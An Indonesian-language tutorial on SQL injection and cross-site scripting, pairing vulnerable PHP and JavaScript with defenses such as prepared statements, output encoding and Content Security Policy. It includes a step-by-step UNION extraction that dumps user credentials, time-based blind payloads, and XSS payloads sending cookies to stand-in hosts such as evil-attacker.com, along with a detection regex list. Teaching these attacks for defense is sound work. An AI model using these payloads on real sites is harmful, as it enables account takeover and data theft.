1. Apa Itu SQL Injection?
SQL Injection (SQLi) adalah teknik serangan keamanan web yang memanfaatkan celah pada lapisan database aplikasi web. Penyerang menyisipkan perintah SQL berbahaya ke dalam input pengguna (seperti form login, URL parameter, atau cookie) yang kemudian dieksekusi oleh database. SQLi telah menempati posisi teratas dalam daftar OWASP Top 10 selama bertahun-tahun karena dampaknya yang sangat destruktif.
Dengan SQL Injection, penyerang dapat: membaca data sensitif dari database, memodifikasi atau menghapus data, menjalankan operasi administrasi pada database (seperti shutdown), dan dalam beberapa kasus bahkan dapat mengeluarkan perintah ke sistem operasi server.
Pada tahun 2008, serangan SQL Injection terhadap situs Heartland Payment Systems berhasil mencuri 130 juta nomor kartu kredit — menjadikannya salah satu pelanggaran data terbesar dalam sejarah. Pada tahun 2015, British Telecom (BT) juga menjadi korban SQLi yang mengekspos data pelanggan internal.
Bagaimana SQL Injection Bekerja?
Aplikasi web yang rentan terhadap SQL Injection biasanya menggabungkan input pengguna secara langsung ke dalam query SQL tanpa sanitasi atau parameterisasi yang tepat. Berikut ilustrasi sederhananya:
-- Query asli yang dibuat oleh aplikasi web
SELECT * FROM users WHERE username = 'input_pengguna' AND password = 'input_password';
-- Jika penyerang memasukkan: ' OR '1'='1' --
-- Query menjadi:
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = 'apa_saja';
-- '1'='1' selalu bernilai TRUE, sehingga semua data user dikembalikan
-- Tanda -- mengomentari sisa query sehingga pengecekan password dilewati
2. Jenis-Jenis SQL Injection
SQL Injection dibagi menjadi beberapa jenis berdasarkan cara penyerang mengekstrak informasi dari database. Memahami setiap jenis sangat penting untuk menerapkan pertahanan yang tepat.
| Jenis SQLi | Mekanisme | Tingkat Kesulitan | Dampak |
|---|---|---|---|
| In-Band SQLi (Classic) | Hasil query dikembalikan langsung di halaman web yang sama. Penyerang melihat output error atau data langsung di browser. | Mudah | Sangat tinggi — data bisa langsung diekstraksi |
| Union-Based SQLi | Menggunakan operator UNION SELECT untuk menggabungkan hasil query asli dengan query penyerang, sehingga data dari tabel lain muncul di halaman. | Mudah-Sedang | Tinggi — bisa membaca tabel apapun |
| Error-Based SQLi | Memanfaatkan pesan error database untuk mengungkap informasi struktur database, nama tabel, dan isi data. | Mudah-Sedang | Tinggi — mengekspos metadata database |
| Blind SQLi (Boolean-Based) | Tidak ada output langsung. Penyerang mengirim query TRUE/FALSE dan mengamati perbedaan respon halaman untuk menyimpulkan data. | Sedang | Tinggi — data tetap bisa diekstrak per karakter |
| Blind SQLi (Time-Based) | Penyerang menggunakan fungsi delay (SLEEP/WAITFOR) untuk menentukan apakah kondisi TRUE/FALSE berdasarkan waktu respon server. | Sedang-Tinggi | Tinggi — sangat lambat tapi efektif |
| Out-of-Band SQLi | Data diekstrak melalui channel terpisah (DNS request, HTTP request ke server penyerang) menggunakan fungsi seperti xp_cmdshell atau UTL_HTTP. | Tinggi | Kritis — menembus firewall dan WAF |
3. Contoh Kode SQL Injection
Berikut adalah beberapa contoh nyata serangan SQL Injection yang umum ditemukan di aplikasi web, beserta kode yang rentan dan cara memperbaikinya.
Login Bypass
<?php
// ============================================
// KODE RENTAN — JANGAN digunakan di produksi!
// ============================================
$username = $_POST['username'];
$password = $_POST['password'];
// Query dibangun dengan string concatenation — SANGAT BERBAHAYA
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
echo "Login berhasil!";
// Penyerang bisa bypass login dengan input:
// Username: admin' --
// Password: apa saja
}
?>
UNION-Based Data Extraction
-- URL target: https://example.com/product?id=1
-- Langkah 1: Tentukan jumlah kolom dengan ORDER BY
https://example.com/product?id=1 ORDER BY 1-- ← Normal
https://example.com/product?id=1 ORDER BY 2-- ← Normal
https://example.com/product?id=1 ORDER BY 3-- ← Normal
https://example.com/product?id=1 ORDER BY 4-- ← Error! Berarti ada 3 kolom
-- Langkah 2: Temukan kolom yang visible
https://example.com/product?id=1 UNION SELECT 1,2,3--
-- Langkah 3: Ekstrak nama database
https://example.com/product?id=1 UNION SELECT 1,database(),3--
-- Output: "toko_online"
-- Langkah 4: Ekstrak nama tabel
https://example.com/product?id=1 UNION SELECT 1,group_concat(table_name),3
FROM information_schema.tables WHERE table_schema='toko_online'--
-- Output: "users,products,orders,payments"
-- Langkah 5: Ekstrak kolom dari tabel users
https://example.com/product?id=1 UNION SELECT 1,group_concat(column_name),3
FROM information_schema.columns WHERE table_name='users'--
-- Output: "id,username,password,email,role"
-- Langkah 6: Ekstrak semua data user (termasuk password!)
https://example.com/product?id=1 UNION SELECT 1,
group_concat(username,0x3a,password SEPARATOR 0x0a),3 FROM users--
-- Output: admin:5f4dcc3b5aa765d61d8327deb882cf99
-- user1:e10adc3949ba59abbe56e057f20f883e
Time-Based Blind SQLi
-- Cek apakah target rentan terhadap Blind SQLi
-- Jika halaman memuat lebih lama 5 detik = rentan
-- MySQL:
https://example.com/product?id=1 AND SLEEP(5)--
-- PostgreSQL:
https://example.com/product?id=1; SELECT pg_sleep(5)--
-- SQL Server:
https://example.com/product?id=1; WAITFOR DELAY '0:0:5'--
-- Ekstrak karakter pertama dari nama database (ASCII-based)
https://example.com/product?id=1 AND IF(
ASCII(SUBSTRING(database(),1,1)) > 100, SLEEP(3), 0
)--
-- Jika terlambat 3 detik: karakter pertama > 100 (huruf 't' = 116)
-- Lanjutkan binary search untuk setiap karakter
Contoh kode di atas hanya untuk tujuan edukasi dan pengujian pada sistem yang kamu miliki atau yang memiliki izin tertulis. Melakukan SQL Injection pada sistem tanpa izin adalah tindakan ilegal yang dapat dijerat dengan UU ITE Pasal 30-32 dengan ancaman pidana penjara hingga 10 tahun dan denda miliaran rupiah.
4. Pencegahan SQL Injection
Pencegahan SQL Injection harus dilakukan di beberapa lapisan (defense in depth). Berikut adalah metode-metode pencegahan yang efektif.
Prepared Statements (Parameterized Queries)
Prepared statements adalah pertahanan paling efektif melawan SQL Injection karena memisahkan kode SQL dari data secara total. Data yang dimasukkan pengguna tidak pernah diinterpretasikan sebagai perintah SQL.
<?php
// ============================================
// KODE AMAN — Menggunakan Prepared Statement
// ============================================
$username = $_POST['username'];
$password = $_POST['password'];
// Gunakan prepared statement dengan placeholder
$stmt = $conn->prepare("SELECT id, username, password FROM users WHERE username = ?");
$stmt->bind_param("s", $username); // "s" = string type
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows === 1) {
$user = $result->fetch_assoc();
// Verifikasi password dengan hash
if (password_verify($password, $user['password'])) {
echo "Login berhasil! Selamat datang, " . htmlspecialchars($user['username']);
}
}
$stmt->close();
?>
# ============================================
# Python — Menggunakan ORM untuk Hindari SQLi
# ============================================
from sqlalchemy import create_engine, Column, Integer, String
from sqlalchemy.orm import declarative_base, sessionmaker
from werkzeug.security import check_password_hash
Base = declarative_base()
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
username = Column(String(50), unique=True)
password = Column(String(200)) # Hashed password
engine = create_engine('mysql+pymysql://user:pass@localhost/toko_online')
Session = sessionmaker(bind=engine)
def login_user(username: str, password: str) -> bool:
"""Login dengan ORM — otomatis aman dari SQL Injection."""
session = Session()
try:
# ORM menggunakan prepared statement secara otomatis
user = session.query(User).filter(User.username == username).first()
if user and check_password_hash(user.password, password):
return True
return False
finally:
session.close()
# Penggunaan dengan raw SQL (tetap aman)
from sqlalchemy import text
def get_product(product_id: int):
session = Session()
# Parameterized query dengan text()
result = session.execute(
text("SELECT * FROM products WHERE id = :pid"),
{"pid": product_id} # Parameter di-bind secara aman
)
return result.fetchone()
Input Validation & Web Application Firewall (WAF)
# ============================================
# Input Validation Layer untuk Pencegahan SQLi
# ============================================
import re
from functools import wraps
from flask import Flask, request, abort
app = Flask(__name__)
# Pola berbahaya yang umum digunakan dalam SQLi
SQLI_PATTERNS = [
r"(\b(SELECT|INSERT|UPDATE|DELETE|DROP|UNION|ALTER|CREATE|EXEC|EXECUTE)\b)",
r"(--|#|/\*|\*/)", # SQL comments
r"(\bOR\b\s+\b\d+\b\s*=\s*\b\d+\b)", # OR 1=1
r"(\bAND\b\s+\b\d+\b\s*=\s*\b\d+\b)", # AND 1=1
r"(SLEEP\s*\(|BENCHMARK\s*\(|WAITFOR\s+DELAY)", # Time-based
r"(\bINTO\s+(OUTFILE|DUMPFILE)\b)", # File operations
r"(\bLOAD_FILE\s*\(|\bINTO\s+OUTFILE\b)",
]
def validate_input(value: str) -> bool:
"""Validasi input terhadap pola SQL Injection."""
if not value:
return True
for pattern in SQLI_PATTERNS:
if re.search(pattern, value, re.IGNORECASE):
return False
return True
def sql_injection_guard(f):
"""Decorator untuk memvalidasi semua parameter input."""
@wraps(f)
def decorated(*args, **kwargs):
# Validasi query parameters
for key, value in request.args.items():
if not validate_input(value):
abort(400, description=f"Input tidak valid pada parameter '{key}'")
# Validasi form data
if request.form:
for key, value in request.form.items():
if not validate_input(value):
abort(400, description=f"Input tidak valid pada field '{key}'")
return f(*args, **kwargs)
return decorated
@app.route('/search')
@sql_injection_guard
def search_products():
"""Endpoint pencarian produk dengan SQLi protection."""
keyword = request.args.get('q', '')
# Tetap gunakan prepared statement meskipun sudah divalidasi
# Validasi adalah lapisan pertahanan tambahan (defense in depth)
return f"Searching for: {keyword}"
Gunakan semua lapisan pertahanan bersamaan: 1) Prepared statements sebagai pertahanan utama, 2) Input validation sebagai lapisan tambahan, 3) WAF (Web Application Firewall) sebagai pertahanan perimeter, 4) Principle of least privilege pada database user — jangan berikan akses DROP atau GRANT ke user aplikasi web.
5. Apa Itu Cross-Site Scripting (XSS)?
Cross-Site Scripting (XSS) adalah celah keamanan yang memungkinkan penyerang menyisipkan skrip JavaScript berbahaya ke dalam halaman web yang dilihat oleh pengguna lain. Berbeda dengan SQL Injection yang menyerang server, XSS menyerang browser pengguna — menjadikannya serangan sisi klien (client-side).
Ketika XSS berhasil dieksekusi, penyerang dapat: mencuri cookie dan session token pengguna, mengalihkan pengguna ke situs phishing, menampilkan halaman palsu (deface), menginstal keylogger di browser, dan bahkan mengendalikan akun pengguna.
6. Jenis-Jenis XSS
| Jenis XSS | Mekanisme | Persistensi | Contoh Kasus |
|---|---|---|---|
| Stored XSS (Persistent) | Script berbahaya disimpan permanen di database/server (komentar, postingan, profil user). Setiap pengunjung halaman tersebut akan terkena. | Permanen | Komentar forum yang berisi script pencuri cookie |
| Reflected XSS (Non-Persistent) | Script berbahaya dimasukkan melalui URL parameter atau form input yang langsung direfleksikan ke halaman tanpa sanitasi. Korban harus mengklik link khusus. | Sementara | Link phishing: example.com/search?q=<script>...</script> |
| DOM-Based XSS | Script berbahaya dieksekusi melalui manipulasi DOM (Document Object Model) di sisi client. Server tidak terlibat — semua terjadi di browser korban. | Sementara | Manipulasi fragment URL (#) yang diproses oleh JavaScript client-side |
7. Contoh Kode Serangan XSS
Stored XSS pada Form Komentar
<!-- ============================================ -->
<!-- Form Komentar yang Rentan terhadap Stored XSS -->
<!-- ============================================ -->
<!-- KODE RENTAN (server tidak sanitize input) -->
<form action="/submit-comment" method="POST">
<textarea name="comment"></textarea>
<button type="submit">Kirim Komentar</button>
</form>
<!-- Penyerang mengisi komentar dengan: -->
<script>
// Curi cookie session pengguna
var stolenData = {
cookie: document.cookie,
url: window.location.href,
userAgent: navigator.userAgent
};
// Kirim ke server penyerang
fetch('https://evil-attacker.com/collect', {
method: 'POST',
body: JSON.stringify(stolenData),
headers: {'Content-Type': 'application/json'}
});
</script>
<!-- Payload yang lebih halus (menggunakan img tag): -->
<img src=x onerror="
fetch('https://evil-attacker.com/steal?c='+document.cookie)
">
<!-- Payload menggunakan SVG: -->
<svg onload="alert(document.cookie)">
Reflected XSS pada URL Parameter
# ============================================
# Reflected XSS — Melalui URL Parameter
# ============================================
# Target halaman search yang menampilkan query tanpa sanitasi
# Server merender: "Hasil pencarian untuk: [query_pengguna]"
# Payload sederhana:
https://example.com/search?q=<script>alert('XSS')</script>
# Payload yang lebih berbahaya (menggunakan encoded URL):
https://example.com/search?q=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fevil.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
# Payload menggunakan event handler:
https://example.com/search?q="><img src=x onerror="alert(document.cookie)">
# Penyerang kemudian menyebarkan link tersebut via email phishing:
# "Klik di sini untuk melihat promo spesial: [link XSS]"
DOM-Based XSS
// ============================================
// DOM-Based XSS — Semua terjadi di client
// ============================================
// Kode JavaScript yang rentan di halaman web:
// Halaman mengambil parameter dari URL dan menampilkan tanpa sanitasi
// URL berbahaya:
// https://example.com/welcome#<img src=x onerror=alert(document.cookie)>
// Kode rentan di halaman:
const hash = window.location.hash.substring(1); // Ambil setelah #
document.getElementById('welcome').innerHTML = 'Selamat datang, ' + hash;
// innerHTML mengeksekusi script yang disisipkan!
// ============================================
// Contoh DOM XSS pada framework populer
// ============================================
// VULNERABLE: Menggunakan innerHTML
document.getElementById('output').innerHTML = userInput;
// VULNERABLE: Menggunakan eval()
eval(userInput);
// VULNERABLE: Menggunakan document.write()
document.write('<p>' + userInput + '</p>');
// VULNERABLE: jQuery .html() dengan user input
$('#output').html(userInput);
8. Pencegahan XSS
Output Encoding
Output encoding adalah pertahanan utama melawan XSS. Semua data yang berasal dari
pengguna harus di-encode sebelum dirender di halaman HTML. Karakter khusus seperti
<, >, &, ", dan
' diubah menjadi entitas HTML yang aman.
<?php
// ============================================
// Pencegahan XSS dengan Output Encoding
// ============================================
// JANGAN GUNAKAN INI (rentan):
// echo "Selamat datang, " . $_GET['name'];
// GUNAKAN INI (aman) — htmlspecialchars untuk konteks HTML:
function safe_html(string $input): string {
return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
// Penggunaan:
$name = $_GET['name'] ?? 'Tamu';
echo '<p>Selamat datang, ' . safe_html($name) . '</p>';
// Input: <script>alert('XSS')</script>
// Output: <script>alert('XSS')</script>
// Aman — script tidak akan dieksekusi
// Encoding untuk konteks JavaScript:
function safe_js(string $input): string {
return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
}
// Encoding untuk konteks URL:
function safe_url(string $input): string {
return rawurlencode($input);
}
// Encoding untuk konteks CSS:
function safe_css(string $input): string {
return preg_replace('/[^a-zA-Z0-9\s]/', '', $input);
}
?>
Content Security Policy (CSP)
Content Security Policy (CSP) adalah mekanisme keamanan yang ditambahkan melalui HTTP header yang membatasi sumber resource yang boleh dimuat oleh browser. CSP merupakan pertahanan yang sangat kuat melawan XSS karena dapat memblokir eksekusi script inline dan script dari domain yang tidak tepercaya.
# ============================================
# Content Security Policy (CSP) Configuration
# Untuk Nginx Web Server
# ============================================
server {
listen 443 ssl http2;
server_name example.com;
# CSP Header yang ketat
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
" always;
# Header keamanan tambahan
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}
# ============================================
# CSP Middleware untuk Flask Application
# ============================================
from flask import Flask, make_response
from functools import wraps
app = Flask(__name__)
# CSP Policy yang ketat
CSP_POLICY = {
'default-src': "'self'",
'script-src': "'self' 'nonce-{nonce}'",
'style-src': "'self' 'unsafe-inline'",
'img-src': "'self' data: https:",
'font-src': "'self'",
'connect-src': "'self'",
'frame-ancestors': "'none'",
'base-uri': "'self'",
'form-action': "'self'",
}
def generate_nonce():
"""Generate CSP nonce yang unik per request."""
import secrets
return secrets.token_urlsafe(32)
def csp_protected(f):
"""Decorator untuk menambahkan CSP header ke setiap response."""
@wraps(f)
def decorated(*args, **kwargs):
nonce = generate_nonce()
csp_header = '; '.join(
f"{key} {value.format(nonce=nonce)}" for key, value in CSP_POLICY.items()
)
response = make_response(f(*args, **kwargs))
response.headers['Content-Security-Policy'] = csp_header
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
return response
return decorated
@app.route('/')
@csp_protected
def index():
return '<h1>Aplikasi Aman dengan CSP</h1>'
SQL Injection dicegah terutama dengan prepared statements dan input validation. XSS dicegah dengan output encoding dan Content Security Policy. Keduanya membutuhkan defense in depth — jangan hanya mengandalkan satu metode. WAF (Web Application Firewall) seperti ModSecurity atau Cloudflare WAF dapat menjadi lapisan pertahanan tambahan untuk keduanya.
9. Quiz: Uji Pemahamanmu
Jawab pertanyaan berikut untuk menguji pemahaman kamu tentang SQL Injection dan XSS. Pilih satu jawaban terbaik untuk setiap pertanyaan.